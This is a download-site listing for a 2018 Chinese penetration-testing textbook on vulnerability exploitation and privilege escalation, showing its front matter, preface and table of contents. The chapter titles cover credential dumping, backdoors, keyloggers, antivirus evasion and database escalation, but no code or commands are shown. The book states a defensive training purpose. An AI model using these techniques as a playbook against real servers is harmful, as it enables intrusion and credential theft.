Main 网络攻防实战研究:漏洞利用与提权

网络攻防实战研究:漏洞利用与提权

0 / 0
How much do you like this book?
What’s the quality of the file?
Download the book for quality assessment
What’s the quality of the downloaded files?
Year:
2018
Publisher:
电子工业出版社
Language:
chinese
ISBN:
43abc00a-4540-4a81-8819-2c401f82b06b
File:
EPUB, 25.35 MB
Download (epub, 25.35 MB)

Most frequently terms

 
0 comments
 

To post a review, please sign in or sign up
You can write a book review and share your experiences. Other readers will always be interested in your opinion of the books you've read. Whether you've loved the book or not, if you give your honest and detailed thoughts then people will find new books that are right for them.
1

网页游戏开发秘笈

फ़ाइल:
PDF, 8.43 MB
0 / 0
安全技术大系





网络攻防实战研究:漏洞利用与提权



祝烈煌 张子剑 主编

陈小兵 张胜生 王坤 徐炎 编著





Publishing House of Electronics Industry

北京·BEIJING





内 容 简 介

本书主要讨论目前常见的漏洞利用与提权技术,分别从攻击和防御的角度介绍渗透过程中相对最难,

同时又是渗透最高境界的部分——如何获取服务器乃至整个网络的权限。本书共分 9 章,由浅入深,按照

读者容易理解的方式对内容进行分类,每一节介绍一个典型应用,同时结合案例进行讲解,并给出一些经

典的总结。本书的目的是介绍漏洞利用与提权技术,结合一些案例来探讨网络安全,从而远离黑客的威胁。

通过本书的学习,读者可以快速了解和掌握主流的漏洞利用与提权技术,加固自己的服务器。

本书既可以作为政府、企业网络安全从业者的参考资料,也可以作为大专院校信息安全学科的教材。





未经许可,不得以任何方式复制或抄袭本书之部分或全部内容。

版权所有,侵权必究。





图书在版编目(CIP)数据



网络攻防实战研究:漏洞利用与提权/祝烈煌,张子剑主编;陈小兵等编著. —北京:电子工业出版社,

2018.4

(安全技术大系)

ISBN 978-7-121-33240-1



Ⅰ. ①网… Ⅱ. ①祝… ②张… ③陈… Ⅲ. ①计算机网络-网络安全-研究 Ⅳ. ①TP393.08



中国版本图书馆 CIP 数据核字(2017)第 306684 号





策划编辑:潘 昕

责任编辑:潘 昕

印 刷:三河市良远印务有限公司

装 订:三河市良远印务有限公司

出版发行:电子工业出版社

北京市海淀区万寿路 173 信箱 邮编:100036

开 本:787×1092 1/16 印张:41 字数:1150 千字

版 次:2018 年 4 月第 1 版

印 次:2018 年 4 月第 1 次印刷

定 价:128.00 元



凡所购买电子工业出版社图书有缺损问题,请向购买书店调换。若书店售缺,请与本社发行部联系,

联系及邮购电话:

(010)88254888,88258888。

质量投诉请发邮件至 zlts@phei.com.cn,盗版侵权举报请发邮件至 dbqq@phei.com.cn。

本书咨询联系方式:

(010)51260888-819,faq@phei.com.cn。





推 荐 序

在安全行业从业这么多年,回过头来发现,和小兵居然相识 10 年了。作为 10 年前就对网络安

全有浓厚兴趣,在安全圈子里扎根、生长的技术人,小兵的自学能力和分享精神都是我所佩服的。

我一直认为,安全人才没有办法定向培养,只能依赖天赋,而我们要做的就是发掘和激发少部

分人的天赋,最好的办法则是通过活生生的案例引发兴趣,让兴趣成为最好的导师。这本书也和小

兵的为人一样实在,有大量干货、新货,能帮助刚对安全产生兴趣却不知道从哪里入手的读者快速

入门、上手,通过本书捅破那层“窗户纸”,找到自己感兴趣的新领域。阅读本书,你将在网络安全

的路上走得更快、更远!

360 网络攻防实验室负责人

陆羽(林伟)



在经典的渗透测试过程中,有很多行之有效的漏洞利用及相关场景下的提权思路,这本书对这

些内容做了全面的介绍。这本书不仅覆盖攻击,还详细讲解了相应的防御方法,内容皆来自一线实

战,值得参考。

《Web 前端黑客技术揭秘》作者

余弦



Shadow Brokers 发布“NSA 武器库”在网络世界所造成的影响,让我们感受到了“渗透之下,

漏洞利用工具为王”的可怕。当漏洞利用工具并不完备时,网络渗透测试就无法有效地进行了吗?

显然不是这样的。渗透的精髓在于组合与细节利用,在一万种网络系统环境中有一万种渗透思路和

方法。这种极具创造性的“入侵”行为体现了渗透测试人员的能力与水平,经验老道的安全人员总

有自己独特的“奇淫技巧”,这些技巧就像弹药一样,根据渗透目标的不同有的放矢,以最终获得目

标高权限为结果的过程是有趣的且具有艺术性的。我想,这就是渗透测试的魅力所在。当一个安全

人员通过别人从未尝试过的“组合拳”最终渗透了目标时,他所收获的成就感是无与伦比的。每个

安全人员都对拥有大师级的网络渗透技术梦寐以求,而获得此水平的前提就在于基础一定要扎实,

如果现在有一万种渗透技巧存在,那就将它们融会贯通,唯有消化和吸收了所有已知的渗透技巧,

才能进一步缔造崭新的攻防手法。

本书是一本渗透技巧极其丰富的工具书,涵盖了渗透测试中绝大部分环境下的攻防利用之道,

是初学者打基础、高手查缺补漏的绝佳教材。

360 独角兽安全团队创始人

杨卿





前 言

2017 年 5 月 15 日爆发的 WannaCry;  勒索病毒,中毒者欲哭无泪,全球损失惨重!通过此次事件,

人们发现,网络安全不再遥远。以前提到“网络安全”“黑客”等字眼,人们大都会认为那是传说和

传奇,一般都是一笑而过。而今,随着互联网攻防技术的发展,谁还能说自己在信息世界里可以独

善其身?2016 年雅虎泄露 10 亿条个人账号信息,国内被公开泄露的个人隐私数据甚至高达几十亿

条。截至 2017 年年底,由于网络电信诈骗等导致的个人及公司损失超过 100 亿元。在科技飞速发展

的今天,如果我们能掌握一些安全知识、提高自己的安全意识,就极有可能避免个人财产损失。

在 2016 年出版《黑客攻防:实战加密与解密》后,我们的团队经过一年多的努力,将全部研究

成果分享给广大读者朋友。在本书中,我们从更加专业、更加体系化的角度来讨论和研究网络安全,

对关键技术进行详细的研究、再现和总结,同时介绍了一些典型案例,让读者身临其境,充分了解

和掌握漏洞利用与提权的精髓!

2017 年 6 月 1 日,

《中华人民共和国网络安全法》正式实施,国家对网络安全的重视程度前所未

有,很多高校都新增或者加强了网络安全专业建设,将信息安全提升到一级学科,提升到国家战略

层面!没有网络空间的安全,就没有国家的安全!

本书内容

本书主要讨论目前常见的漏洞利用和提权技术,从攻击与防御的角度介绍渗透过程中相对最难,

同时又是渗透最高境界的部分——如何获取服务器乃至整个网络的权限。本书共分 9 章,由浅入深,

按照读者容易理解的方式对内容进行分类,每一节介绍一个典型应用,同时结合案例进行讲解,并

给出一些经典的总结。

第 1 章 提权基础

提权是整个黑客攻防过程中最难的环节,提权过程则汇聚了思路、技巧、工具和技术。本章着

重介绍提权的基础知识,包括如何进行提权,如何破解 Windows 及 Linux 密码,一些后门工具的使

用,如何实现对提权工具的免杀,以及端口转发和代理工具的使用。

第 2 章 Windows 漏洞利用与提权

Windows 是目前使用最为广泛的操作系统之一。从 2000 年开始,计算机操作系统飞速发展,从

Windows 95 到 Windows Server 2017,人们感受到了互联网技术的跌宕起伏。在操作系统层面,曾经

多次爆发高危漏洞,攻击者可以远程直接获取目标服务器的权限。在渗透过程中,很多人认为提权

是最难攻克的,其实不然,只要掌握了相关的知识点,在各种技术的配合下,99%都可以提权成功。

本章着重介绍 Windows 提权的基础知识、Windows 提权技巧、常用的口令扫描方法及一些新颖的提

权方法和思路。



前 言

第 3 章 Linux 漏洞利用与提权

在网络渗透过程中,经常碰到通过 CMS 等漏洞获取了服务器的 WebShell,但因为 Linux 服务器

设置了严格的权限而较难获取 root 账号权限的情况。在本章中讨论了 Linux 密码的获取与破解,以

及利用一些 Linux 漏洞来提权的方法和技巧。本章原来的设想是对 Linux 中存在的各种本地提权漏

洞进行介绍和利用,但在实际测试过程中,未能达到大众化利用的程度,因此将在后续的图书中陆

续介绍这些方法。本章将着重介绍如何对 Linux 密码进行破解,以及如何通过各种漏洞来渗透并提

权 Linux 服务器。

第 4 章 MSSQL 漏洞利用与提权

MSSQL 数据库是微软开发的目前世界上最为流行的数据库软件之一,它只能运行在 Windows

平台上,最常见的架构为 ASP+MSSQL 和 ASP.NET+MSSQL。在 Windows Server 2008 以下版本中,

只要获取了 sa 账号及其密码,就可以快速、方便地通过一些技巧获取系统权限。在 Windows Server 2008 以上版本中,虽然不能直接获取系统权限,但可以通过恢复存储过程等方式执行命令,通过系

统中存在的提权漏洞进行提权。本章着重介绍 SQL Server 提权的基础知识,以及 Windows 下 SQL

Server 的提权方法,同时通过一些案例介绍了如何利用 sa 账号来提权。

第 5 章 MySQL 漏洞利用与提权

MySQL 数据库是目前世界上最为流行的数据库软件之一,很多流行的架构都会用到 MySQL,例

如 LAMPP(Linux+Apache+MySQL+PHP+Perl)架构。目前很多流行的 CMS 系统使用 MySQL+PHP

架构,MySQL 主要在 Windows 和 Linux 操作系统中安装使用。因此,在获取了 root 账号的情况下,

攻击者通过一些工具软件和技巧极有可能获取系统的最高权限。本章着重介绍 MySQL 提权的基础

知识,以及 Windows 下 MySQL 的提权方法,同时通过一些案例介绍了如何利用 MySQL 来提权。

第 6 章 Oracle 漏洞利用与提权

Oracle 是一款大型的数据库系统,市场占有率很高,在数据库领域有极其重要的地位。作为世

界上第一个支持 SQL 语言的关系型数据库,Oracle 提供了丰富的包和存储过程,支持 Java 和创建

library 等特性,拥有丰富的系统表,几乎所有的信息都存储在系统表里,包括当前数据库运行的状

态、用户的信息、数据库的信息、用户所能访问的数据库和表的信息等,在提供强大功能的同时,

也带来了众多隐患。从第一代 Oracle 产品发布起,互联网上就不断有 Oracle 数据库的安全漏洞被公

开。虽然 Oracle 一直在努力弥补这些缺陷,例如定期发布更新补丁去修复已发现的安全漏洞,但是

随着 Oracle 数据库版本的更新,新的漏洞层出不穷。此外,由于数据库管理员安全意识较弱或未进

行全面、有效的安全策略配置,导致数据库存在被攻击的安全风险。对 Oracle 的攻击主要包括弱口

令或默认口令的猜解、SQL 注入、权限配置不当、拒绝服务攻击等。本章针对 Oracle 数据库漏洞介

绍了常见的提权方法及相应的防御手段。

第 7 章 Metasploit 漏洞利用与提权

在 Metasploit 下所说的提权,通常是指在已经获得 MSF 的 Meterpreter Shell 后采取的各种提升

权限的方法。通常,在渗透过程中很有可能只获得了一个系统的 Guest 或 User 权限的 Meterpreter Shell,如果在网络环境中仅获得受限用户权限,那么在实施横向渗透或者提权攻击时将很困难。在

主机上,如果没有管理员权限,就无法进行获取 Hash 值、安装软件、修改防火墙规则和修改注册表

等操作,所以,必须将访问权限从 Guset 提升到 User,再到 Administrator,最后到 System 级别。可



V

网络攻防实战研究:漏洞利用与提权

以说,渗透的目的是获取服务器的最高权限,即 Windows 操作系统中管理员账号的权限或 Linux 操

作系统中 root 账户的权限。

第 8 章 其他应用程序漏洞利用与提权

在本章主要介绍一些应用程序的提权,包括 Serv-U、Winmail、Radmin、pcAnywhere、JBoss、

Struts、JspRun、Gene6 FTP Server、Tomcat、Citrix、VNC、ElasticSearch、Zabbix 等。

第 9 章 Windows 及 Linux 安全防范

本章就一些常见的系统漏洞和弱点进行分析。真正的安全防范是一个持续的改进和完善过程,

我们需要随时关注 0day 及安全漏洞。在网络攻防过程中,安全防范非常重要:攻击方需要隐藏自己

的 IP 地址、消除痕迹、防止被发现;而防守方则关注如何加固,如何使自己的系统更安全,“牢不

可破”是终极目标。在武侠小说中经常提及一个理念:最好的防御就是攻击。通过攻击自身系统发

现漏洞,对漏洞进行分析、修补和加固,也就有了日常听到的安全公司进行某项目的安全评估。

虽然本书内容已经比较丰富和完整了,但仍然无法涵盖所有的漏洞利用与提权技术。通过本书

的学习,读者可以快速了解和掌握主流的漏洞利用与提权渗透技术,加固自己的服务器。本书的目

的是介绍漏洞利用与提权技术,结合一些案例来探讨网络安全,帮助读者更好地加固服务器,远离

黑客的威胁。

资源下载

书中提到的所有资源的下载地址为 http://pan.baidu.com/s/1slGynDj,密码为 41ne。

特别声明

本书是安全帮(www.secbang.com)定制的培训教材,同时被部分高校列为指定教材。本书的目

的绝不是为那些怀有不良动机的人提供支持,也不承担因为技术被滥用所产生的连带责任。本书的

目的是最大限度地唤醒读者对网络安全的重视,并采取相应的安全措施,从而减少由网络安全漏洞

带来的经济损失。

由于笔者水平有限,加之时间仓促,书中疏漏之处在所难免,恳请广大读者批评指正。

反馈与提问

在阅读本书的过程中,如果读者遇到问题或有任何意见,都可以发邮件至 antian365@gmail.com 与笔者直接联系。

致谢

本书主编是祝烈煌、张子剑。参加本书编写工作的有陈小兵、张胜生、王坤、徐焱、刘晨、黄

小波、韦亚奇、邓火英、刘漩、庞香平、武师、陈尚茂、邱永永、潘喆、孙立伟、陈海华、邓北京、

兰云碧、易金云、吴海春。

感谢电子工业出版社对本书的大力支持,尤其是潘昕编辑为本书出版所做的大量工作,感谢美

编对本书进行的精美的设计。借此机会,还要感谢多年来在信息安全领域给我教诲的所有良师益友,

感谢众多热心网友对本书的支持。最后要感谢家人,是他们的支持和鼓励使本书得以顺利完成。

另外,本书集中了北京理工大学多位老师和安天 365 团队众多“小伙伴”的智慧。我们的团队

VI

前 言

是一个低调潜心研究技术的团队。衷心地感谢团队成员夏洛克、雨人、imiyoo、cnbird、Xnet、fido、

指尖的秘密、Leoda、pt007、Mickey、YIXIN、终隐、fivestars、暖色调の微笑、304、Myles 等,是

你们给了我力量,给了我信念。最后,还要特别感谢安全圈的好友范渊、孙彬、罗诗尧、杨卿、杨

哲、杨文飞、林伟、余弦、王亚智、傅烨文、汤志强、菲哥哥、张健、-273.15℃、风宁、杨永清、

毕宁、韩晨、叶猛、刘璇,是你们的鼓励、支持和建议让本书更加完美。





编 者

2018 年 1 月于北京





VII





目 录

第 1 章 提权基础 ................................................ 1

1.5.1 简介 ....................................................... 30

1.5.2 使用方法 ............................................... 31

1.1



提权概述........................................................ 1

1.5.3 参数详解 ............................................... 31

1.1.1 提权简介 ................................................. 1

1.5.4 使用实例 ............................................... 32

1.1.2 提权条件 ................................................. 2

1.5.5 总结与思考............................................ 33

1.1.3 提权准备工作 ......................................... 2

1.1.4 实施提权 ................................................. 4

1.6 对提权工具 PR 的免杀 .............................. 34

1.6.1 什么是 PR.............................................. 34

1.2 Windows 账号和密码的获取与破解.......... 6

1.6.2 如何对提权工具进行免杀.................... 34

1.2.1 使用 GetHashes 获取 Windows

1.6.3 加壳软件 VMProtect Ultimate .............. 37

系统密码 Hash 值 ................................... 6

1.2.2 使用 gsecdump 获取 Windows

1.7 通过 LCX 端口转发实现内网突破 .......... 39

系统密码 ................................................. 7

1.7.1



确定被控制计算机的 IP 地址 .............. 39

1.2.3 使用 PwDump 获取域控密码................. 9

1.7.2 在被控制计算机上执行端口



1.2.4 使用 PwDump 获取系统账号和密码....11

转发命令 ............................................... 40





1.2.5

1.7.3

使用 SAMInside 获取及破解

在本机上执行监听命令........................ 40

1.7.4

Windows

在本机上使用远程终端进行登录 ........ 41

系统密码 ............................... 12





1.7.5 查看本地连接........................................ 41

1.2.6 使用 oclHashcat 破解 Windows



系统账号密码 ....................................... 13

1.8 使用 SocksCap 进行内网突破................... 42

1.2.7 使用 L0phtCrack 破解 Windows 及

1.8.1 安装并运行 SocksCap........................... 42

Linux 密码............................................. 16

1.8.2 设置 SocksCap....................................... 43

1.2.8 使用 Ophcrack 破解系统 Hash 密码 .... 20

1.8.3 建立应用程序标识项............................ 43

1.8.4 运行“命令行”代理............................ 44

1.3 使用 John the Ripper 破解 Linux 密码 ..... 25

1.8.5 总结与思考............................................ 44

1.3.1 准备工作 ............................................... 25

1.3.2 John 的 4 种破解模式 ........................... 26

1.9 Windows 系统提权基础命令..................... 44

1.3.3 使用 John 破解 Linux 密码................... 26

1.9.1 获取 IP 地址信息 .................................. 44

1.3.4 查看破解结果 ....................................... 28

1.9.2 获取端口信息........................................ 45

1.9.3 获取服务信息和进程信息.................... 45

1.4 Linux 提权辅助工具 Linux Exploit

1.9.4 进程结束命令........................................ 46

Suggester ...................................................... 28

1.9.5 用户管理命令........................................ 47

1.4.1 列出可能的漏洞 ................................... 28

1.9.6 开启 3389 端口...................................... 48

1.4.2 下载可利用的脚本 ............................... 30

1.4.3 编译并执行 ........................................... 30

第 2 章 Windows 漏洞利用与提权 .............. 49

1.4.4 总结与思考 ........................................... 30

2.1 Windows 提权基础 ..................................... 49

1.5 PHP WeBaCoo 后门.................................... 30

2.1.1 Windows 提权信息的收集.................... 50



目 录

2.1.2 Windows 提权准备 ............................... 52

2.8.2 实战 MS08-067 远程漏洞利用............. 95

2.1.3 使用 MSF 平台搜索可利用的 POC ..... 53

2.8.3 防范措施 ............................................. 102

2.1.4 实施提权 ............................................... 54

2.9 通过 Pr 提权渗透某高速服务器............. 102

2.1.5 相关资源 ............................................... 54

2.9.1 分析 AWS 扫描结果 ........................... 102

2.1.6 Windows 本地溢出漏洞及对应版本.... 55

2.9.2 获取 WebShell ..................................... 103

2.1.7 停用安全狗 ........................................... 58

2.9.3 服务器信息收集与 Pr 提权 ................ 104

2.2 提权辅助工具 Windows-Exploit-

2.10 以 Public 权限渗透某

Suggester ...................................................... 58

ASP.NET 网站 ......................................... 110

2.2.1 Windows-Exploit-Suggester 简介 ......... 58

2.10.1 寻找漏洞并进行渗透测试................ 110

2.2.2 使用 Windows-Exploit-Suggester ......... 59

2.10.2 寻找、测试和获取 WebShell ........... 113

2.2.3 技巧与高级利用 ................................... 60

2.10.3 尝试提权............................................ 116

2.3 Windows 低权限进程及服务提权 ............ 65

2.10.4 使用 lcx 命令转发并登录

2.3.1 AccessChk 简介及使用......................... 65

远程桌面............................................ 116

2.3.2 获取低权限可操作服务的名称............ 66

2.10.5 总结与思考........................................ 118

2.3.3 修改服务并获取系统权限.................... 68

2.11 Windows 7/2008 服务器 64 位版本

2.4 Windows 口令扫描及 3389 口令

MS12-042 漏洞提权................................ 118

暴力破解...................................................... 70

2.11.1 MS12-042 漏洞简介.......................... 118

2.4.1 口令扫描准备工作 ............................... 70

2.11.2 提权工具............................................ 118

2.4.2 使用 NTscan 扫描口令 ......................... 71

2.11.3 实战提权利用.................................... 119

2.4.3 使用 Tscrack 扫描 3389 口令 ............... 75

2.12 对某虚拟主机的一次

2.4.4 使用 Fast RDP Brute 暴力破解

SiteManager 提权 .................................... 121

3389 口令 .............................................. 79

2.12.1 获取虚拟主机某站点的 WebShell.... 121

2.5 使用 WinlogonHack 获取系统密码.......... 81

2.12.2 使用 WebShell 中的提权功能

2.5.1 远程终端密码泄露分析........................ 81

尝试提权............................................ 122

2.5.2 WinlogonHack 截取密码原理 .............. 81

2.12.3 查看可写目录.................................... 122

2.5.3 使用 WinlogonHack 获取密码实例...... 82

2.12.4 渗透成功............................................ 124

2.5.4 攻击与防范方法探讨............................ 83

2.12.5 继续渗透内外网................................ 126

2.5.5 自动获取并发送密码到指定网站........ 85

2.13 社工渗透并提权某服务器..................... 127

2.6 Windows Server 2003 域控服务器

2.13.1 网站挂马的检测和清除.................... 127

密码获取...................................................... 86

2.13.2 入侵痕迹的搜索和整理.................... 129

2.6.1 域控服务器渗透思路............................ 87

2.13.3 利用社会工程学进行反渗透............ 129

2.6.2 内网域控服务器渗透常见命令............ 87

2.14 通过 SQL 注入漏洞渗透某服务器

2.6.3 域控服务器用户账号和密码

并直接提权 .............................................. 132

获取实例 ............................................... 88

2.14.1 对目标站点的分析和漏洞利用 ........ 132

2.7 MS05-039 漏洞利用实战........................... 92

2.14.2 尝试提权获取管理员权限................ 134

2.7.1 MS05-039 漏洞简介 ............................. 92

2.15 phpinfo 函数信息泄露漏洞的利用

2.7.2 实战 MS05-039 漏洞利用..................... 93

与提权....................................................... 135

2.8 MS08-067 远程溢出漏洞利用实战 .......... 95

2.15.1 phpinfo 函数简介 .............................. 135

2.8.1 MS08-067 漏洞描述 ............................. 95

2.15.2 phpinfo 函数信息泄露漏洞 .............. 135



IX

网络攻防实战研究:漏洞利用与提权

2.15.3 通过 phpinfo 函数信息泄露漏洞

3.3.2 Linux 系统采用的加密算法 ............... 163

渗透获取 WebShell 权限 .................. 136

3.3.3 获取 Linux root 密码方法研究........... 164

2.15.4 服务器提权 ....................................... 138

3.3.4 Linux root 账号密码防范技术............ 167

2.15.5 总结与思考 ....................................... 139

3.4 通过 Linux OpenSSH 后门获取

2.16 通过简单的漏洞渗透某公司

root 密码..................................................... 167

内外部网络 .............................................. 140

3.4.1 OpenSSH 简介..................................... 167

2.16.1 测试页面漏洞的检测........................ 140

3.4.2 准备工作 ............................................. 168

2.16.2 测试页面漏洞的利用思路................ 140

3.4.3 设置 SSH 后门的登录密码及其

2.16.3 登录服务器并进行口令扫描............ 142

密码记录位置...................................... 169

2.16.4 获取域控密码 ................................... 142

3.4.4 安装并编译后门.................................. 170

2.16.5 测试页面漏洞的修复........................ 143

3.4.5 登录后门并查看记录的密码文件 ...... 170

2.17 通过文件上传漏洞渗透某

3.4.6 拓展密码记录方式.............................. 171

Windows 2012 服务器并提权................ 143

3.4.7 OpenSSH 后门的防范方法................. 172

2.17.1 初步渗透 ........................................... 143

3.4.8 总结 ..................................................... 173

2.17.2 获取 WebShell................................... 145

3.5 利用 FCKeditor 漏洞渗透某

2.17.3 使用 WebShell 进行提权并

Linux 服务器 ............................................. 174

登录服务器 ....................................... 146

3.5.1 对已有 WebShell 进行分析和研究..... 175

2.17.4 总结与思考 ....................................... 146

3.5.2 测试上传的 WebShell ......................... 177

2.18 通过戴尔服务器远程访问管理卡

3.5.3 分析与收集 WebShell 所在

获取服务器权限...................................... 148

服务器的信息...................................... 177

2.18.1 获取服务器远程访问管理卡

3.5.4 服务器提权.......................................... 179

的账号和密码 ................................... 148

3.6 chkrootkit 0.49 本地提权漏洞利用

2.18.2 加载 ISO 文件 ................................... 149

与防范研究................................................ 181

2.18.3 替换文件获取服务器权限................ 150

3.6.1 漏洞分析 ............................................. 181

3.6.2 漏洞利用条件...................................... 182

第 3 章 Linux 漏洞利用与提权....................



151

3.6.3 实际测试 ............................................. 183

3.1 使用 fakesu 记录 root 用户的密码 ......... 151

3.6.4 漏洞利用扩展...................................... 183

3.1.1 使用 kpr-fakesu.c 记录 root 用户

3.6.5 漏洞利用与防范方法探讨.................. 184

的密码 ................................................. 151

3.7 从服务器信息泄露到 Linux 服务器

3.1.2 运行键盘记录程序 ............................. 153

权限获取 .................................................... 185

3.1.3 查看密码记录文件 ............................. 154

3.7.1 服务器信息泄露的危害...................... 185

3.1.4 删除安装文件 ..................................... 155

3.7.2 服务器信息泄露的获取...................... 185

3.2 使用 Hydra 暴力破解 Linux 密码........... 155

3.7.3 服务器信息泄露的利用...................... 186

3.2.1 Hydra 简介 .......................................... 155

3.7.4 服务器信息泄露渗透实例.................. 186

3.2.2 Hydra 的安装与使用........................... 156

3.8 通过 WinSCP 配置文件获取 Linux

3.2.3 Hydra 应用实例 .................................. 158

服务器权限................................................ 188

3.3 Linux 操作系统 root 账号密码获取

3.8.1 发现主站 SQL 注入漏洞并

防范技术研究............................................ 162

获取 WebShell ..................................... 189

3.3.1 Linux 密码原理................................... 162

3.8.2 发现弱口令.......................................... 190

X

目 录

3.8.3 进入主站所在服务器及相关服务器.. 191

3.13.5 Linux 下的快速渗透思路 ................. 209

3.8.4 总结 ..................................................... 193

3.13.6 相关源代码........................................ 210

3.9 通过网上信息获取某 Linux 服务器

3.13.7 利用 s02-045 漏洞快速渗透

权限 ............................................................ 193

某服务器............................................ 212

3.9.1 通过 SSH 账号和密码进行

3.14 安全设置 Linux 操作系统的密码......... 214

登录测试 ............................................. 193

3.14.1 修改 login.defs 中的参数 .................. 215

3.9.2 成功登录 Linux 服务器 ...................... 194

3.14.2 设置加密算法.................................... 215

3.9.3 查看服务器文件及所有信息.............. 194

3.14.3 破解 Linux 密码 ................................ 215

3.9.4 查看服务器所在 IP 地址下网站的

第 4 章 MSSQL 漏洞利用与提权............... 217

域名情况 ............................................. 195

3.9.5 尝试获取 WebShell ............................. 195

4.1 SQL Server 提权基础 ............................... 217

3.9.6 总结与思考 ......................................... 195

4.1.1 SQL Server 简介.................................. 217

4.1.2 sa 口令的获取 ..................................... 218

3.10 渗透某 Linux 服务器并提权................. 196

4.1.3 常见 SQL Server 提权命令 ................. 218

3.10.1 收集网站基本信息............................ 196

4.1.4 通过数据库备份获取 WebShell.......... 222

3.10.2 扫描端口开放情况............................ 197

4.1.5 SQL Server 日志.................................. 223

3.10.3 漏洞扫描和测试 ............................... 197

3.10.4 服务器提权 ....................................... 197

4.2 SQL Server 口令扫描 ............................... 223

4.2.1 使用 Piggy 进行口令扫描................... 224

3.11 通过 SQL 注入获取某 Linux 服务器

4.2.2 使用 SQLPing 进行口令扫描 ............. 225

权限........................................................... 198

4.2.3 使用 Hscan 扫描 MSSQL 口令........... 226

3.11.1 漏洞扫描与利用................................ 198

3.11.2 获取 Linux 账号和密码 .................... 200

4.3 SQL Server 2000 MS08-040 漏洞 ........... 227

3.11.3 破解 Linux 账号 ................................ 200

4.3.1 使用 MySQLSrv 8.0.194 AutoAttack

3.11.4 获取 Linux SSH 账号权限................ 201

进行扫描并渗透.................................. 228

3.11.5 总结与思考........................................ 201

4.3.2 获取反弹 Shell 并继续渗透................ 229

4.3.3 登录服务器远程终端.......................... 231

3.12 Struts 2 远程代码执行漏洞 s2-032

4.3.4 总结与思考.......................................... 232

及其提权利用.......................................... 202

3.12.1 Struts 简介 ......................................... 202

4.4 SQL Server 2000 提权 .............................. 233

3.12.2 s2-032 漏洞简介................................ 202

4.4.1 SQL 版本号查询 ................................. 233

3.12.3 漏洞测试样例 ................................... 202

4.4.2 通过查询分析获取管理员权限 .......... 234

3.12.4 网上公开的检测地址........................ 204

4.4.3 通过手工注入点获取管理员权限 ...... 234

3.12.5 网上公开的 s2-032 漏洞综合

4.4.4 恢复存储过程...................................... 235

利用工具 ........................................... 204

4.4.5 SQL server 提权防范方法................... 237

3.12.6 s2-032 漏洞的利用及提权................ 204

4.5 SQL Server 2005 提权 .............................. 237

3.13 快速利用 s02-45 漏洞获取

4.5.1 查看数据库连接文件.......................... 237

服务器权限 .............................................. 206

4.5.2 获取数据库用户和密码...................... 238

3.13.1 CVE-2017-5638 漏洞简介 ................ 206

4.5.3 数据库连接设置.................................. 238

3.13.2 漏洞实际利用 ................................... 206

4.5.4 查看连接信息...................................... 238

3.13.3 修改 POC 利用代码.......................... 207

4.5.5 添加 xp_cmdshell 存储过程 ............... 239

3.13.4 在 Windows 下快速实施渗透........... 208

4.5.6 添加用户 ............................................. 240



XI

网络攻防实战研究:漏洞利用与提权

4.5.7 将普通用户添加到管理员组.............. 240

第 5 章 MySQL 漏洞利用与提权................ 264

4.5.8 通过 XP_cmdshell exec 查看

5.1 MySQL 提权基础 ..................................... 264

系统用户 ............................................. 241

5.1.1 MySQL 提权必备条件........................ 265

4.5.9 远程终端登录 ..................................... 241

5.1.2 MySQL 密码获取与破解.................... 265

4.5.10 总结 ................................................... 241

5.1.3 通过 MySQL 获取 WebShell .............. 267

4.6 Windows Server 2008 中 SQL Server

5.1.4 MySQL 渗透技巧总结........................ 267

2008 的提权............................................... 242

5.2 用 MOF 方法提取 MySQL root

4.6.1 SQL Server 2008 提权思路................. 242

权限 ............................................................ 271

4.6.2 获取 SQL Server 2008 sa

5.2.1 漏洞利用方法分析.............................. 272

账号密码 ............................................. 242

5.2.2 实战利用 ............................................. 273

4.6.3 恢复存储过程并查看和读取

5.2.3 防范方法 ............................................. 276

磁盘文件 ............................................. 243

5.3 MySQL 数据库 UDF 提权....................... 276

4.6.4 生成并获取 WebShell ......................... 244

5.3.1 UDF 函数简介..................................... 276

4.6.5



上传并获取 JSP WebShell .................. 245

5.3.2 Windows 下 UDF 提权的

4.6.6 获取系统密码并登录服务器.............. 246

条件和方法.......................................... 277

4.7 通过 Windows Server 2008 和 SQL

5.3.3 提权实例 ............................................. 279

Server 2008 sa 权限获取 WebShell......... 246

5.3.4 其他提权工具...................................... 282

4.7.1 以 sa 权限获取 WebShell 的思路 ....... 246

5.3.5 UDF 提权总结与防范......................... 283

4.7.2 利用实例 ............................................. 247

5.4 通过 MySQL 数据库反弹端口

4.7.3 防范建议 ............................................. 250

连接提权 .................................................... 284

4.8 通过 sa 权限注入获取服务器权限......... 250

5.4.1 反弹端口连接提权的条件.................. 284

4.8.1 获取漏洞并进行测试.......................... 250

5.4.2 实现方法 ............................................. 285

4.8.2 Windows 提权 ..................................... 252

5.4.3 提权实例 ............................................. 285

4.8.3 信息收集及其他渗透.......................... 253

5.4.4 防范方法 ............................................. 287

4.8.4 总结与思考 ......................................... 255

5.5 通过 MySQL 账号社工渗透某

4.9 通过 FTP 账号渗透并提权某服务器 ..... 255

Linux 服务器 ............................................. 287

4.9.1 通过扫描获取 FTP 权限..................... 255

5.5.1 漏洞发现及测试.................................. 287

4.9.2 获取 WebShell..................................... 256

5.5.2 利用已有信息渗透 MySQL

4.9.3 获取数据库账号和密码...................... 256

数据库 ................................................. 288

4.9.4 数据库服务器直接提权...................... 257

5.5.3 进行社工攻击...................................... 290

4.9.5 总结与思考 ......................................... 259

5.5.4 总结与探讨.......................................... 291

4.10 Windows Server 2003 下 SQL

5.6 MySQL root 口令的利用及提权 ............. 291

Server 2005 绕过安全狗提权 ................ 259

5.6.1 分析及利用漏洞.................................. 292

4.10.1 通过扫描获取口令............................ 259

5.6.2 获取 WebShell ..................................... 293

4.10.2 基本信息收集 ................................... 259

5.6.3 服务器提权.......................................... 295

4.10.3 添加管理员提权失败........................ 260

4.10.4 寻求突破 ........................................... 260

5.7 从 MySQL 口令扫描到提权.................... 296

4.10.5 绕过安全狗的其他方法.................... 263

5.7.1 通过扫描获取 root 口令 ..................... 296

4.10.6 总结 ................................................... 263

5.7.2 进行提权 ............................................. 298

XII

目 录

5.7.3 总结与思考 ......................................... 301

6.1.5 Oracle 默认账号及密码 ...................... 330

5.8 MySQL 无法通过 WebShell 执行命令

6.2 Oracle 口令破解........................................ 330

提权某服务器............................................ 301

6.2.1 利用 Metasploit 暴力猜解

5.8.1 获取数据库 root 密码 ......................... 301

Oralce 数据库...................................... 331

5.8.2 获取 WebShell..................................... 301

6.2.2 利用 odat 暴力猜解 Oralce

5.8.3 无法执行命令 ..................................... 301

数据库 ................................................. 333

5.8.4 使用反弹端口提权 ............................. 302

6.2.3 利用 Orabrute 暴力猜解 Oralce

